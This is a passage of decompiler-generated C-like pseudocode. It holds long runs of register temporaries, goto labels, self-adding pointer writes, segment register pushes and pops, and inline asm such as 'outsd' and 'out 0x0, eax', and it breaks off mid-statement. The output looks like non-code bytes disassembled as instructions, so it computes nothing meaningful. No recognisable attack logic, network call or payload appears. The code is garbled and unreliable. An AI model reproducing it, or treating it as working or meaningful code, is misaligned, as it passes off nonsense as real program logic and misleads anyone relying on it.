				signed char _t2343;
				void* _t2344;
				void* _t2375;
				void* _t2378;
				void* _t2389;
				void* _t2395;
				signed int _t2410;
				void* _t2449;
				void* _t2462;
				void* _t2465;
				void* _t2471;
				void* _t2472;
				void* _t2479;
				void* _t2486;
				signed char _t2494;
				void* _t2501;
				void* _t2508;
				void* _t2510;
				void* _t2511;
				signed char _t2516;
				void* _t2517;
				void* _t2518;
				void* _t3136;
				void* _t3137;

				_t3136 = __fp0;
				_t2339 = __esi;
				_t2316 = __edi;
				_t2272 = __edx;
				_t1857 = __ebx;
				 *__eax =  *__eax + __eax;
				_t1225 = __eax |  *__eax;
				_t1909 = (__ecx |  *(__edi + 0x67)) +  *((intOrPtr*)(__edi + 0x4d));
				 *_t1225 =  *_t1225 + _t1225;
				_push(es);
				if( *_t1225 < 0) {
					L8:
					asm("outsd");
					_t2316 = _t2316 - 1;
					 *_t1225 =  *_t1225 + _t1225;
					ds = es;
					goto L9;
				} else {
					_t1225 = _t1225 +  *_t1225;
					if(_t1225 < 0) {
						L10:
						_pop(ds);
						 *(_t1857 + 0x69) =  *(_t1857 + 0x69) & _t2339;
						 *_t1225 =  *_t1225 + _t1225;
						 *_t1225 =  *_t1225 + _t1225;
						_t1226 = _t1225 |  *_t1225;
						_t1911 = (_t1909 |  *(_t2316 + 0x6a)) +  *((intOrPtr*)(_t2316 + 0x4f));
						goto L11;
					} else {
						_push("athan");
						 *_t1225 =  *_t1225 + _t1225;
						_push(es);
						_t1911 = _t1909 +  *((intOrPtr*)(__edi + 0x4d)) & __edx;
						 *_t1225 =  *_t1225 + _t1225;
						 *__edi =  *__edi + __ebx;
						if( *__edi >= 0) {
							L11:
							asm("outsd");
							_t2316 = _t2316 - 1;
							 *_t1226 =  *_t1226 + _t1226;
							goto L12;
						} else {
							 *_t1225 =  *_t1225 + _t1225;
							 *_t1225 =  *_t1225 + _t1225;
							_t1856 = _t1225 |  *_t1225;
							 *_t1856 =  *_t1856 + _t1856;
							_push(es);
							asm("sbb ch, [edi+0x6b]");
							 *_t1856 =  *_t1856 + _t1856;
							_t1226 = _t1856 |  *_t1856;
							_t1911 = (_t1911 |  *(__edi + 0x6a)) +  *((intOrPtr*)(__edi + 0x4d)) +  *((intOrPtr*)(__edi + 0x4d));
							 *_t1226 =  *_t1226 + _t1226;
							_push(es);
							if( *_t1226 < 0) {
								L12:
								_push(es);
								asm("sbb ebp, [edi+0x6b]");
								 *_t1226 =  *_t1226 + _t1226;
								_t1227 = _t1226 |  *_t1226;
								goto L13;
							} else {
								_pop(ds);
								 *((intOrPtr*)(_t1226 + 0x6f)) =  *((intOrPtr*)(_t1226 + 0x6f)) + __edx;
								asm("insb");
								 *_t1226 =  *_t1226 + _t1226;
								_t1855 = _t1226 |  *_t1226;
								 *_t1855 =  *_t1855 + _t1855;
								_push(es);
								_t1911 = _t1911 +  *((intOrPtr*)(__edi + 0x4f)) & __ebx;
								 *_t1855 =  *_t1855 + _t1855;
								 *_t1855 =  *_t1855 + _t1855;
								asm("out 0x0, eax");
								 *_t1855 =  *_t1855 + _t1855;
								if( *_t1855 >= 0) {
									L18:
									 *_t1855 =  *_t1855 + _t1855;
									 *_t1855 =  *_t1855 + _t1855;
									_t1225 = _t1855 |  *_t1855;
									_t1909 = (_t1911 |  *(_t2317 + 0x67)) +  *((intOrPtr*)(_t2317 + 0x51));
									 *_t1225 =  *_t1225 + _t1225;
									_push(es);
									if( *_t1225 < 0) {
										L9:
										_t2343 = _t2343 - 1;
										goto L10;
									} else {
										_t1229 = _t1225 +  *_t1225;
										if(_t1229 < 0) {
											goto L28;
										} else {
											_push("athan");
											_t1911 = _t1909 +  *((intOrPtr*)(_t2317 + 0x51));
											goto L21;
										}
									}
								} else {
									 *_t1855 =  *_t1855 + _t1855;
									 *_t1855 =  *_t1855 + _t1855;
									_t1227 = _t1855 |  *_t1855;
									_t1911 = (_t1911 |  *(__edi + 0x67)) +  *((intOrPtr*)(__edi + 0x4f));
									 *_t1227 =  *_t1227 + _t1227;
									_push(es);
									if( *_t1227 < 0) {
										L13:
										 *_t2272 =  *_t2272 + _t1227;
										asm("outsd");
										_t2317 = _t2316 - 1;
										 *_t1227 =  *_t1227 + _t1227;
										_push(es);
										if( *_t1227 < 0) {
											goto L24;
										} else {
											_pop(ds);
											_t17 = _t1227 + 0x6f;
											 *_t17 =  *((intOrPtr*)(_t1227 + 0x6f)) + _t2272;
											if ( *_t17 >= 0) goto L15;
											 *_t2272 =  *_t2272 + _t1911;
											 *_t2272 =  *_t2272 + _t1227;
											asm("outsd");
											_t2317 = _t2317 - 1;
											 *_t1227 =  *_t1227 + _t1227;
											ss = es;
											asm("outsd");
											if ( *_t1227 < 0) goto L16;
											 *_t2272 =  *_t2272 + _t1911;
											 *_t2272 =  *_t2272 + _t1227;
											asm("outsd");
											_push(_t1911);
											 *_t1227 =  *_t1227 + _t1227;
											ds = es;
											if( *_t1227 != 0) {
												L21:
												_push(_t1911);
												 *_t1227 =  *_t1227 + _t1227;
												goto L22;
											} else {
												_t1855 = _t1227 | 0x00000073;
												asm("o16 add [eax], al");
												goto L18;
											}
										}
									} else {
										_t1227 = _t1227 +  *_t1227;
										if(_t1227 < 0) {
											L22:
											 *_t2339 =  *_t2339 + _t1227;
											_t1857 = _t1857 & _t1857;
											 *_t1227 =  *_t1227 + _t1227;
											 *_t2317 =  *_t2317 + _t1857;
											_t1854 = _t1227 - 0x6973;
											 *_t1854 =  *_t1854 + _t1854;
											_t1227 = _t1854 |  *_t1854;
											_t1911 = (_t1911 |  *(_t2317 + 0x6a)) +  *((intOrPtr*)(_t2317 + 0x51));
											 *_t1227 =  *_t1227 + _t1227;
											ss = es;
											asm("outsd");
											if ( *_t1227 >= 0) goto L23;
											 *_t2272 =  *_t2272 + _t1911;
											 *_t2272 =  *_t2272 + _t1227;
											asm("outsd");
											_push(_t1911);
											 *_t1227 =  *_t1227 + _t1227;
											_t2375 =  *_t1227;
											_push(es);
											L24:
											asm("sbb al, 0x6f");
											if (_t2375 == 0) goto L25;
											 *_t2272 =  *_t2272 + _t1911;
											 *_t2272 =  *_t2272 + _t1227;
											asm("outsd");
											_push(_t1911);
											 *_t1227 =  *_t1227 + _t1227;
											_push(es);
											_push(ss);
											asm("outsd");
											if ( *_t1227 != 0) goto L26;
											 *_t2272 =  *_t2272 + _t1911;
											 *_t2272 =  *_t2272 + _t1227;
											asm("outsd");
											_push(_t1857);
											 *_t1227 =  *_t1227 + _t1227;
											_push(es);
											asm("sbb [edi], ebx");
											_t1228 = _t1227 | 0x00000073;
											asm("o16 add [eax], al");
											 *_t1228 =  *_t1228 + _t1228;
											_t1229 = _t1228 |  *_t1228;
											_t1913 = (_t1911 |  *(_t2317 + 0x67)) +  *((intOrPtr*)(_t2317 + 0x53));
											 *_t1229 =  *_t1229 + _t1229;
											_push(es);
											if( *_t1229 < 0) {
												L34:
												asm("outsd");
												 *_t1229 = _t1229;
												 *_t2272 =  *_t2272 + _t1913;
												_t1914 = _t1913 +  *((intOrPtr*)(_t2317 + 0x53));
												 *_t1229 =  *_t1229 + _t1229;
												_push(es);
											} else {
												_pop(ds);
												 *((intOrPtr*)(_t1229 + 0x6f)) =  *((intOrPtr*)(_t1229 + 0x6f)) + _t2272;
												_push("athan");
												_t1914 = _t1913 +  *((intOrPtr*)(_t2317 + 0x53));
												 *_t1229 =  *_t1229 + _t1229;
												_t2378 =  *_t1229;
												_push(es);
												L28:
												_pop(ds);
												if(_t2378 >= 0) {
													L32:
													asm("sbb eax, 0x746f");
													_t1853 = _t1229 |  *_t1229;
													_t2262 = _t1914 +  *((intOrPtr*)(_t2317 + 0x53));
													 *_t1853 =  *_t1853 + _t1853;
													_push(es);
													_push(ss);
													asm("outsd");
													if ( *_t1853 != 0) goto L33;
													 *_t2272 =  *_t2272 + _t2262;
													 *_t2272 =  *_t2272 + _t1853;
													asm("outsd");
													_push(_t2340);
													 *_t1853 =  *_t1853 + _t1853;
													_push(es);
													 *(_t2339 + 1) =  *(_t2339 + 1) - _t2272;
													 *_t2272 =  *_t2272 + _t2262;
													asm("outsd");
													_push(_t2317);
													 *_t1853 =  *_t1853 + _t1853;
													_t1229 = _t1853 |  *_t1853;
													_t2263 = _t2262 +  *((intOrPtr*)(_t2317 + 0x55));
													 *_t1229 =  *_t1229 + _t1229;
													_push(es);
													asm("outsd");
													 *_t1229 = _t1229;
													 *_t2272 =  *_t2272 + _t2263;
													_t1913 = _t2263 +  *((intOrPtr*)(_t2317 + 0x57));
													 *_t1229 =  *_t1229 + _t1229;
													_push(es);
													asm("outsd");
													 *_t1229 = _t1229;
													 *_t2272 =  *_t2272 + _t1913;
													 *_t2272 =  *_t2272 + _t1229;
													asm("outsd");
													_push(_t2340);
													 *_t1229 =  *_t1229 + _t1229;
													_push(es);
													goto L34;
												} else {
													asm("insd");
													if(_t2378 < 0) {
														 *_t1229 =  *_t1229 + _t1229;
														 *_t1229 =  *_t1229 + _t1229;
														_t1229 = _t1229 |  *_t1229;
														_t1914 = (_t1914 |  *(_t2317 + 0x6a)) +  *((intOrPtr*)(_t2317 + 0x53));
														 *_t1229 =  *_t1229 + _t1229;
														ss = es;
														asm("outsd");
														if ( *_t1229 >= 0) goto L31;
														 *_t2272 =  *_t2272 + _t1914;
														 *_t2272 =  *_t2272 + _t1229;
														asm("outsd");
														_push(_t1857);
														 *_t1229 =  *_t1229 + _t1229;
														_push(es);
														goto L32;
													}
												}
											}
										} else {
											_push("athan");
											_t1909 = _t1911 +  *((intOrPtr*)(__edi + 0x4f));
											goto L8;
										}
									}
								}
							}
						}
					}
				}
				asm("outsd");
				 *_t1229 = _t1229;
				 *_t2272 =  *_t2272 + _t1914;
				 *_t2272 =  *_t2272 + _t1229;
				asm("outsd");
				_push(_t2340);
				 *_t1229 =  *_t1229 + _t1229;
				_push(es);
				asm("outsd");
				 *_t1229 = _t1229;
				 *_t2272 =  *_t2272 + _t1914;
				_t1915 = _t1914 +  *((intOrPtr*)(_t2317 + 0x4f));
				 *_t1229 =  *_t1229 + _t1229;
				_push(es);
				asm("outsd");
				 *_t1229 = _t1229;
				 *_t2272 =  *_t2272 + _t1915;
				 *_t2272 =  *_t2272 + _t1229;
				asm("outsd");
				_push(_t2340);
				 *_t1229 =  *_t1229 + _t1229;
				_push(es);
				asm("outsd");
				 *_t1229 = _t1229;
				 *_t2272 =  *_t2272 + _t1915;
				_t1916 = _t1915 +  *((intOrPtr*)(_t2317 + 0x51));
				 *_t1229 =  *_t1229 + _t1229;
				_push(es);
				asm("outsd");
				 *_t1229 = _t1229;
				 *_t2272 =  *_t2272 + _t1916;
				 *_t2272 =  *_t2272 + _t1229;
				asm("outsd");
				_push(_t2340);
				 *_t1229 =  *_t1229 + _t1229;
				_push(es);
				asm("outsd");
				 *_t1229 = _t1229;
				 *_t2272 =  *_t2272 + _t1916;
				_t1917 = _t1916 +  *((intOrPtr*)(_t2317 + 0x47));
				 *_t1229 =  *_t1229 + _t1229;
				_push(es);
				asm("outsd");
				 *_t1229 = _t1229;
				 *_t2272 =  *_t2272 + _t1917;
				 *_t2272 =  *_t2272 + _t1229;
				asm("outsd");
				_push(_t2340);
				 *_t1229 =  *_t1229 + _t1229;
				while(1) {
					L36:
					 *_t2339 =  *_t2339 + _t1229;
					asm("outsd");
					 *_t1229 = _t1229;
					 *_t2272 =  *_t2272 + _t1917;
					_t1918 = _t1917 +  *((intOrPtr*)(_t2317 + 0x4d));
					 *_t1229 =  *_t1229 + _t1229;
					_push(es);
					asm("outsd");
					 *_t1229 = _t1229;
					 *_t2272 =  *_t2272 + _t1918;
					 *_t2272 =  *_t2272 + _t1229;
					asm("outsd");
					_push(_t2340);
					 *_t1229 =  *_t1229 + _t1229;
					_push(es);
					asm("outsd");
					 *_t1229 = _t1229;
					 *_t2272 =  *_t2272 + _t1918;
					_t1919 = _t1918 +  *((intOrPtr*)(_t2317 + 0x4b));
					 *_t1229 =  *_t1229 + _t1229;
					_push(es);
					asm("outsd");
					 *_t1229 = _t1229;
					 *_t2272 =  *_t2272 + _t1919;
					 *_t2272 =  *_t2272 + _t1229;
					asm("outsd");
					_push(_t2340);
					 *_t1229 =  *_t1229 + _t1229;
					_push(es);
					asm("outsd");
					 *_t1229 = _t1229;
					 *_t2272 =  *_t2272 + _t1919;
					_t1920 = _t1919 +  *((intOrPtr*)(_t2317 + 0x49));
					 *_t1229 =  *_t1229 + _t1229;
					_push(es);
					asm("outsd");
					 *_t1229 = _t1229;
					 *_t2272 =  *_t2272 + _t1920;
					 *_t2272 =  *_t2272 + _t1229;
					asm("outsd");
					_push(_t2340);
					 *_t1229 =  *_t1229 + _t1229;
					_push(es);
					asm("outsd");
					while(1) {
						L37:
						 *_t1229 = _t1229;
						 *_t2272 =  *_t2272 + _t1920;
						_t1921 = _t1920 +  *(_t2317 + 0x59);
						 *_t1229 =  *_t1229 + _t1229;
						_push(es);
						asm("outsd");
						 *_t1229 = _t1229;
						 *_t2272 =  *_t2272 + _t1921;
						 *_t2272 =  *_t2272 + _t1229;
						asm("outsd");
						_push(_t2340);
						 *_t1229 =  *_t1229 + _t1229;
						ds = es;
						_t1231 = _t1229 | 0x7f;
						asm("o16 add [eax], al");
						 *_t1231 =  *_t1231 + _t1231;
						_t1229 = _t1231 |  *_t1231;
						_t1917 = (_t1921 |  *(_t2317 + 0x67)) +  *((intOrPtr*)(_t2317 + 0x55));
						 *_t1229 =  *_t1229 + _t1229;
						_push(es);
						if( *_t1229 < 0) {
							goto L36;
						}
						_pop(ds);
						 *((intOrPtr*)(_t1229 + 0x6f)) =  *((intOrPtr*)(_t1229 + 0x6f)) + _t2272;
						_push("athan");
						 *_t1229 =  *_t1229 + _t1229;
						_push(es);
						 *(_t2339 + 1) =  *(_t2339 + 1) & _t1229;
						 *_t1229 =  *_t1229 + _t1229;
						 *_t2339 =  *_t2339 & _t1857;
						 *_t1229 =  *_t1229 + _t1229;
						 *(_t1857 + 0x69) =  *(_t1857 + 0x69) + _t2272;
						 *_t1229 =  *_t1229 + _t1229;
						 *_t1229 =  *_t1229 + _t1229;
						_t1232 = _t1229 |  *_t1229;
						_t1925 = (_t1917 +  *((intOrPtr*)(_t2317 + 0x55)) |  *(_t2317 + 0x6a)) +  *((intOrPtr*)(_t2317 + 0x55));
						while(1) {
							 *_t1232 =  *_t1232 + _t1232;
							_push(es);
							asm("sbb eax, 0x6b6f");
							_t1229 = _t1232 |  *_t1232;
							_t1920 = _t1925 +  *((intOrPtr*)(_t2317 + 0x57));
							 *_t1229 =  *_t1229 + _t1229;
							_push(es);
							_push(es);
							if( *_t1229 < 0) {
								goto L37;
							}
							_pop(ds);
							 *((intOrPtr*)(_t1229 + 0x6f)) =  *((intOrPtr*)(_t1229 + 0x6f)) + _t2272;
							asm("insd");
							 *_t1229 =  *_t1229 + _t1229;
							_t2272 = _t2272 |  *(_t2343 + _t2272 * 4);
							 *_t1920 =  *_t1920 + _t1229;
							asm("outsd");
							if ( *_t1920 < 0) goto L41;
							 *_t2272 =  *_t2272 + _t1920;
							 *_t2272 =  *_t2272 + _t1229;
							asm("outsd");
							_push(_t2317);
							 *_t1229 =  *_t1229 + _t1229;
							_t2389 =  *_t1229;
							ds = es;
							if(_t2389 != 0) {
								L45:
								_push(_t2317);
								 *_t1229 =  *_t1229 + _t1229;
								ds = es;
								if( *_t1229 >= 0) {
									 *_t1229 =  *_t1229 + _t1229;
									 *_t1229 =  *_t1229 + _t1229;
									_t1229 = _t1229 |  *_t1229;
									_t1920 = (_t1920 |  *(_t2317 + 0x6a)) +  *((intOrPtr*)(_t2317 + 0x57));
									 *_t1229 =  *_t1229 + _t1229;
									ss = es;
									asm("outsd");
									if ( *_t1229 >= 0) goto L47;
									 *_t2272 =  *_t2272 + _t1920;
									 *_t2272 =  *_t2272 + _t1229;
									asm("outsd");
									_push(_t2317);
									 *_t1229 =  *_t1229 + _t1229;
									_t2395 =  *_t1229;
									_push(es);
								}
								_push(ds);
								asm("outsd");
								if (_t2395 == 0) goto L49;
								 *_t2272 =  *_t2272 + _t1920;
								 *_t2272 =  *_t2272 + _t1229;
								asm("outsd");
								_push(_t2317);
								 *_t1229 =  *_t1229 + _t1229;
								_push(es);
								asm("outsd");
								if ( *_t1229 != 0) goto L50;
								 *_t2272 =  *_t2272 + _t1920;
								 *_t2272 =  *_t2272 + _t1229;
								asm("outsd");
								_t1926 = ss;
								 *_t1229 =  *_t1229 + _t1229;
								ss = es;
								asm("outsd");
								 *[gs:eax] =  *[gs:eax] + _t1229;
								_t1229 = _t1229 |  *_t1229;
								_t1920 = _t1926 +  *(_t2317 + 0x59);
							} else {
								asm("aas");
								if(_t2389 < 0) {
									 *_t1229 =  *_t1229 + _t1229;
									 *_t1229 =  *_t1229 + _t1229;
									_t1232 = _t1229 |  *_t1229;
									_t1925 = (_t1920 |  *(_t2317 + 0x67)) +  *((intOrPtr*)(_t2317 + 0x57));
									 *_t1232 =  *_t1232 + _t1232;
									_push(es);
									if( *_t1232 < 0) {
										continue;
									} else {
										_pop(ds);
										 *((intOrPtr*)(_t1232 + 0x6f)) =  *((intOrPtr*)(_t1232 + 0x6f)) + _t2272;
										_push("athan");
										_t1920 = _t1925 +  *((intOrPtr*)(_t2317 + 0x57));
										goto L45;
									}
								}
							}
							 *_t1229 =  *_t1229 + _t1229;
							ds = es;
							asm("sbb al, 0x20");
							es =  *_t1229;
							 *_t1229 =  *_t1229 + _t1229;
							if( *_t1229 >= 0) {
								_t2272 = _t2272 +  *_t2317;
								 *((intOrPtr*)(_t2339 + 0xa0000)) =  *((intOrPtr*)(_t2339 + 0xa0000)) - _t1229;
								_pop(_t1233);
								 *_t1233 =  *_t1233 + _t1233;
								_t1928 = _t1920 +  *_t1229 |  *(_t2317 + 0x59);
								 *_t1233 =  *_t1233 + _t1233;
								_t1234 = _t1233 |  *_t1233;
								_t1857 = _t1857 +  *_t2272;
								asm("outsd");
								asm("outsd");
								 *_t1234 =  *_t1234 + _t1234;
								_t1236 = (_t1234 |  *_t1234) +  *(_t1234 |  *_t1234);
								_t2410 = _t1236;
								goto L63;
							} else {
								 *_t1229 =  *_t1229 + _t1229;
								 *_t1229 =  *_t1229 + _t1229;
								_t1848 = _t1229 |  *_t1229;
								_t1920 = (_t1920 |  *(_t2317 + 0x67)) +  *(_t2317 + 0x59);
								 *_t1848 =  *_t1848 + _t1848;
								_push(es);
								if( *_t1848 < 0) {
									L59:
									asm("insb");
									 *_t1848 =  *_t1848 + _t1848;
									 *((intOrPtr*)((_t1848 |  *_t1848) +  *_t2272)) =  *((intOrPtr*)((_t1848 |  *_t1848) +  *_t2272)) + (_t1848 |  *_t1848) +  *_t2272;
									_t1229 = 0x00000041 &  *0x41;
									_t77 = _t1229 + 0x42;
									 *_t77 =  *((intOrPtr*)(_t1229 + 0x42)) + _t1857;
									if ( *_t77 >= 0) goto L50;
									goto L60;
								} else {
									_t1236 = _t1848 +  *_t1848;
									if(_t1236 < 0) {
										L63:
										if(_t2410 >= 0) {
											 *_t1236 =  *_t1236 + _t1236;
										}
										 *_t1236 =  *_t1236 + _t1236;
										_t1237 = _t1236 ^  *_t1928;
										 *_t1237 =  *_t1237 + _t1237;
										if( *_t1237 >= 0) {
											goto L75;
										} else {
											 *_t1237 =  *_t1237 + _t1237;
											_t2252 = _t1928 |  *_t1237;
											goto L67;
										}
									} else {
										_push("athan");
										L55:
										_pop(_t2252);
										 *_t1848 =  *_t1848 + _t1848;
										_push(es);
										_t1237 = _t1848 & _t1857;
										 *_t1237 =  *_t1237 + _t1237;
										 *_t2317 =  *_t2317 + _t1857;
										if( *_t2317 >= 0) {
											L67:
											 *((intOrPtr*)(_t2317 + 0xa0000)) =  *((intOrPtr*)(_t2317 + 0xa0000)) - _t1237;
											_t2253 = _t2252 +  *_t1237;
											 *_t1237 = _t1237;
											 *_t2272 =  *_t2272 + _t2253;
											_t1933 = _t2253 +  *((intOrPtr*)(_t2317 + 0x55));
											 *_t1237 =  *_t1237 + _t1237;
											_push(es);
											asm("outsd");
											 *_t1237 = _t1237;
											 *_t2272 =  *_t2272 + _t1933;
											 *_t2272 =  *_t2272 + _t1237;
											if( *_t2272 >= 0) {
												_t1237 = _t1237;
												if(_t1237 < 0) {
													L72:
													es =  *_t1237;
													 *_t2272 =  *_t2272 + _t1933;
													 *_t2272 =  *_t2272 + _t1237;
													do {
														_t2272 = _t2272 +  *_t2339;
														 *((intOrPtr*)(_t2272 + 1)) =  *((intOrPtr*)(_t2272 + 1)) - _t1857;
														 *_t2272 =  *_t2272 + _t1933;
														 *_t2272 =  *_t2272 + _t1237;
														_push(ss);
														 *((intOrPtr*)(_t1857 + 1)) =  *((intOrPtr*)(_t1857 + 1)) - _t1857;
														 *_t2272 =  *_t2272 + _t1933;
														 *_t2272 =  *_t2272 + _t1237;
													} while ( *_t2272 < 0);
													_pop(ds);
													 *((intOrPtr*)(_t1237 + 0x28)) =  *((intOrPtr*)(_t1237 + 0x28)) + _t2272;
													_push("athan");
													_t2272 = _t2272 +  *_t2317;
													 *((intOrPtr*)(_t2317 + 0xa0000)) =  *((intOrPtr*)(_t2317 + 0xa0000)) - _t1933;
													L75:
													 *_t1237 =  *_t1237 + _t1237;
													_t1238 = _t1237 |  *_t1237;
													_t2273 = _t2272 +  *((intOrPtr*)(_t2272 - 1));
													_pop(ds);
													 *((intOrPtr*)(_t1238 + 0x6f)) =  *((intOrPtr*)(_t1238 + 0x6f)) + _t2273;
													 *_t1238 =  *_t1238 + _t1238;
													_t1239 = _t1238 |  *_t1238;
													 *_t1239 =  *_t1239 + _t1239;
													_push(es);
													asm("outsd");
													_t1240 = _t1928 +  *((intOrPtr*)(_t2317 + 0x51));
													 *_t1240 =  *_t1240 + _t1240;
													_t1241 = _t1240 |  *_t1240;
													 *_t1241 =  *_t1241 + _t1241;
													_push(es);
													asm("outsd");
													_t1242 = _t1239 +  *((intOrPtr*)(_t2317 + 0x53));
													 *_t1242 =  *_t1242 + _t1242;
													_t1243 = _t1242 |  *_t1242;
													_t1933 = _t1241 +  *((intOrPtr*)(_t2317 + 0x55));
													L76:
													asm("outsd");
													_push(_t2340);
													 *_t1243 =  *_t1243 + _t1243;
													_push(es);
													_push(ss);
													asm("outsd");
													_t1237 = _t2273;
													_t2272 = _t1243;
													 *_t1237 =  *_t1237 + _t1237;
												} else {
													 *_t1237 =  *_t1237 + _t1237;
													_t1848 = _t1237 + 1;
													_t2254 = _t1933 + 1;
													if(_t2254 >= 0) {
														goto L57;
													} else {
														 *_t1848 =  *_t1848 + _t1848;
														_t1920 = _t2254 |  *(_t2317 - 0x75);
														 *_t1848 =  *_t1848 + _t1848;
														_t1229 = _t1848 |  *_t1848;
														_t2272 = _t2272 +  *_t2339;
														_t90 = _t1229 + _t1229 + 0x2000a00;
														 *_t90 =  *((intOrPtr*)(_t1229 + _t1229 + 0x2000a00)) - _t1920;
														asm("sbb bl, [ebx]");
														asm("sbb bl, [ebx]");
														if( *_t90 < 0) {
															 *_t1229 =  *_t1229 + _t1229;
															_t1933 = _t1920 |  *_t1229;
															goto L72;
														}
													}
												}
											}
										} else {
											 *_t1237 =  *_t1237 + _t1237;
											 *_t1237 =  *_t1237 + _t1237;
											_t1849 = _t1237 |  *_t1237;
											 *_t1849 =  *_t1849 + _t1849;
											_push(es);
											asm("sbb [edi+0x6b], ebp");
											 *_t1849 =  *_t1849 + _t1849;
											_t1848 = _t1849 |  *_t1849;
											L57:
											_pop(_t1920);
											 *_t1848 =  *_t1848 + _t1848;
											_push(es);
											if( *_t1848 < 0) {
												goto L55;
											} else {
												_pop(ds);
												 *((intOrPtr*)(_t1848 + 0x6f)) =  *((intOrPtr*)(_t1848 + 0x6f)) + _t2272;
												goto L59;
											}
										}
									}
								}
							}
							_t1244 = _t1237 |  *_t1237;
							 *_t1244 =  *_t1244 + _t1244;
							_push(es);
							asm("outsd");
							_t1245 = _t1857;
							 *_t1245 =  *_t1245 + _t1245;
							_t1246 = _t1245 |  *_t1245;
							 *_t1246 =  *_t1246 + _t1246;
							_push(es);
							asm("outsd");
							_t1247 = _t1933 +  *((intOrPtr*)(_t2317 + 0x55)) +  *((intOrPtr*)(_t2317 + 0x57));
							_t1936 = _t1246;
							 *_t1247 =  *_t1247 + _t1247;
							_t2273 = _t2272 +  *_t2339;
							 *((intOrPtr*)(_t2273 + 0xa0000)) =  *((intOrPtr*)(_t2273 + 0xa0000)) - _t2273;
							_t1249 = (_t1247 |  *_t1247) -  *_t2339;
							_t1859 = _t1244 +  *((intOrPtr*)(_t1244 - 0x6e));
							 *_t1249 =  *_t1249 + _t1249;
							_t1250 = _t1249 + 0x2b;
							 *_t2273 =  *_t2273 + _t1936;
							 *_t1250 =  *_t1250 + _t1250;
							 *_t1859 =  *_t1859 + _t2273;
							 *_t2273 =  *_t2273 ^ _t1250;
							 *_t2317 =  *_t2317 + _t2273;
							 *_t1250 =  *_t1250 + _t1250;
							 *_t2339 =  *_t2339 + _t1936;
							 *_t1250 =  *_t1250 + _t1250;
							asm("adc [edx], eax");
							 *_t2339 =  *_t2339 + 1;
							_t1860 = _t1859 + 1;
							 *_t1250 =  *_t1250 + _t1250;
							_push(es);
							if( *_t1250 < 0) {
								 *_t1250 =  *_t1250 + _t1250;
								_t1933 = _t1936 |  *_t2273;
								_t1857 = _t1860 +  *((intOrPtr*)(_t1860 - 0x6e));
								 *_t1250 =  *_t1250 + _t1250;
								_pop(es);
								_pop(es);
								_push(es);
								asm("outsd");
								_t1842 = _t2343;
								_t2343 = _t1250 + 0xb - 7;
								 *_t1842 =  *_t1842 + _t1842;
								_t1843 = _t1842 |  *_t2273;
								_t2317 = _t2317 +  *((intOrPtr*)(_t2340 - 0x6e));
								 *_t1843 =  *_t1843 + _t1843;
								_t1243 = _t1843 + 2;
								if(_t1243 != 0) {
									goto L76;
								} else {
									 *_t1243 =  *_t1243 + _t1243;
									_pop(es);
									_pop(es);
									_push(es);
									asm("outsd");
									_t1846 = _t2340;
									_t2340 = _t1243 + 0xb - 7;
									 *_t1846 =  *_t1846 + _t1846;
									_t1936 = _t1933 |  *_t2273;
									_t1905 = _t1857 +  *[es:ebx-0x6d];
									 *_t1846 =  *_t1846 + _t1846;
									 *_t2273 =  *_t2273 + _t1936;
									_t1828 = _t1846 + 0x0000002b &  *_t2273;
									_t2337 = _t2317 +  *((intOrPtr*)(_t2340 - 0x6d));
									L80:
									 *_t1828 =  *_t1828 + _t1828;
									_t1829 = _t1828 + 0x2a;
									_t1860 = _t1905 +  *[es:ebx-0x6c];
									 *_t1829 =  *_t1829 + _t1829;
									 *_t2273 =  *_t2273 + _t1936;
									_t1831 = _t1829 + 0x0000002b &  *_t2273;
									_t2317 = _t2337 +  *((intOrPtr*)(_t2340 - 0x6c));
									 *_t1831 =  *_t1831 + _t1831;
									_t1250 = _t1831 + 0x2a;
								}
							}
							_t1251 = _t1250 -  *_t2339;
							 *_t1251 =  *_t1251 + _t1251;
							 *_t2273 =  *_t2273 + _t1936;
							_t1253 = _t1251 + 0x0000002b &  *_t2273;
							_t2318 = _t2317 +  *((intOrPtr*)(_t2340 - 0x6b));
							 *_t1253 =  *_t1253 + _t1253;
							_t1254 = _t1253 + 0x2a;
							_t1862 = _t1860 +  *((intOrPtr*)(_t1860 - 0x6b)) +  *[es:ebx-0x6a];
							 *_t1254 =  *_t1254 + _t1254;
							_t1255 = _t1254 + 0x2b;
							 *_t2273 =  *_t2273 + _t1936;
							 *_t1255 =  *_t1255 + _t1255;
							asm("adc esi, [eax]");
							_t1256 = _t1255 +  *_t1255;
							asm("aaa");
							 *_t1256 =  *_t1256 + _t1256;
							 *_t2339 =  *_t2339 + _t1936;
							 *_t1256 =  *_t1256 + _t1256;
							asm("adc [edx], eax");
							 *_t2339 =  *_t2339 + 1;
							_t1937 = _t1936 + 1;
							 *_t1256 =  *_t1256 + _t1256;
							_push(es);
							if( *_t1256 < 0) {
								 *_t1256 =  *_t1256 + _t1256;
								_t1936 = _t1937 |  *_t2273;
								_t1905 = _t1862 +  *((intOrPtr*)(_t1862 - 0x6a));
								 *_t1256 =  *_t1256 + _t1256;
								_pop(es);
								_pop(es);
								_push(es);
								asm("outsd");
								_t1826 = _t2343;
								_t2343 = _t1256 + 0xb - 7;
								 *_t1826 =  *_t1826 + _t1826;
								_t1827 = _t1826 |  *_t2273;
								_t2337 = _t2318 +  *((intOrPtr*)(_t2340 - 0x6a));
								 *_t1827 =  *_t1827 + _t1827;
								_t1828 = _t1827 + 2;
								if(_t1828 != 0) {
									goto L80;
								} else {
									 *_t1828 =  *_t1828 + _t1828;
									_pop(es);
									_pop(es);
									_push(es);
									asm("outsd");
									_t1834 = _t2340;
									_t2340 = _t1828 + 0xb - 7;
									 *_t1834 =  *_t1834 + _t1834;
									_t1937 = _t1936 |  *_t2273;
									 *_t1834 =  *_t1834 + _t1834;
									 *_t2273 =  *_t2273 + _t1937;
									_t1836 = _t1834 + 0x0000002b &  *_t2273;
									 *_t1836 =  *_t1836 + _t1836;
									_t1837 = _t1836 + 0x2a;
									_t1862 = _t1905 +  *[es:ebx-0x69] +  *[es:ebx-0x68];
									 *_t1837 =  *_t1837 + _t1837;
									 *_t2273 =  *_t2273 + _t1937;
									_t1839 = _t1837 + 0x0000002b &  *_t2273;
									_t2318 = _t2337 +  *((intOrPtr*)(_t2340 - 0x69)) +  *((intOrPtr*)(_t2340 - 0x68));
									 *_t1839 =  *_t1839 + _t1839;
									_t1256 = _t1839 + 0x2a;
								}
							}
							_t1257 = _t1256 -  *_t2339;
							 *_t1257 =  *_t1257 + _t1257;
							 *_t2273 =  *_t2273 + _t1937;
							_t1259 = _t1257 + 0x0000002b &  *_t2273;
